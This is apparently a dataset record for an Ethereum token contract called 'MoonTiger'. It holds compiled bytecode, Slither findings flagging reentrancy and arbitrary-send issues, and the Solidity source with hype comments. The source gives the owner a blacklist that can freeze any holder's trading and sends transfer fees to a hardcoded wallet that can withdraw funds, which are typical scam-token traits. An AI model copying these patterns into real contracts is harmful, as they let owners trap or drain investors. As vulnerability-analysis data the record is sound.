1b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b600080600060075490506000678ac7230489e80000905061194f678ac7230489e8000060075461170690919063ffffffff16565b82101561196d57600754678ac7230489e80000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122011a164759bce12b5f28f6ed26e2bbfc50da344c558ecbc58779e59968a501c2e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,717
0xdd8dfa3fdb840602518e034c04531d46c6ca6be7
/** 🌘MoonTiger ERC-20 🌒 🐯"2022 is the year of the tiger"🐯 💎With our Play2Earn website game trailer t hat will be launched at 500k MarketCap as an extra boost for everyone, we plan on moon landing today💎 👀NFT's with Bored Moon Tiger will be released in Q2👀 🌔Website: https://mtigerinu.com/ Telegram: https://t.me/MoonTigerErc */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MoonTiger is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "MoonTiger"; string private constant _symbol = "MoonTiger"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x17b426954399AdC92ff4134f79A173fE258256aF); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1500000000 * 10**9; _maxWalletSize = 3000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600981526020017f4d6f6f6e54696765720000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d6f6f6e54696765720000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5